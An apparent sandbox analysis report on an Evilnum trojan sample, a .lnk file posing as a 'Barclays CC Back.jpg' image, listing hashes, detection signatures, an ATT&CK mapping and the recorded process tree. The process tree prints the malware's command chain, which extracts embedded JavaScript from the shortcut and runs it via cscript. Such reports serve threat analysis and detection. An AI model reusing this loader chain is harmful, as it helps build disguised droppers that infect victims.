evilnum | 24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e

Analysis

max time kernel
122s
max time network
121s
platform
windows7_x64
resource
win7-en-20211208
submitted
04-02-2022 08:32

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General

Target

24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e.lnk
Size

83KB
MD5

85b2d96080c853c686f0b7b7284896a8
SHA1

db50fc4ea4f6c13fdbcd28ebe2f1cc44a74a83bf
SHA256

24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e
SHA512

9d419fb9406456937e92d57fc1b21f62cac1838082f6059924630edbefb5b568348553658565d59796d97b6078b28827abdb8c3c6eddb36800d0c78dcceff791

Score

10^/10

evilnum trojan

Malware Config

Signatures

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1608 wrote to memory of 1028	1608	cmd.exe	cmd.exe
PID 1608 wrote to memory of 1028	1608	cmd.exe	cmd.exe
PID 1608 wrote to memory of 1028	1608	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1348	1028	cmd.exe	forfiles.exe
PID 1028 wrote to memory of 1348	1028	cmd.exe	forfiles.exe
PID 1028 wrote to memory of 1348	1028	cmd.exe	forfiles.exe
PID 1028 wrote to memory of 1040	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1040	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1040	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1272	1028	cmd.exe	find.exe
PID 1028 wrote to memory of 1272	1028	cmd.exe	find.exe
PID 1028 wrote to memory of 1272	1028	cmd.exe	find.exe
PID 1028 wrote to memory of 1852	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1852	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1852	1028	cmd.exe	cmd.exe
PID 1028 wrote to memory of 1628	1028	cmd.exe	cscript.exe
PID 1028 wrote to memory of 1628	1028	cmd.exe	cscript.exe
PID 1028 wrote to memory of 1628	1028	cmd.exe	cscript.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays CC Back.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
2⤵
- Suspicious use of WriteProcessMemory
PID:1028

C:\Windows\system32\forfiles.exe
forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
3⤵
PID:1348

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
3⤵
PID:1040

C:\Windows\system32\find.exe
find "RDE3"
3⤵
PID:1272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" rd a"
3⤵
PID:1852

C:\Windows\system32\cscript.exe
cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
3⤵
PID:1628

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1608-54-0x000007FEFC0E1000-0x000007FEFC0E3000-memory.dmp

Filesize
8KB

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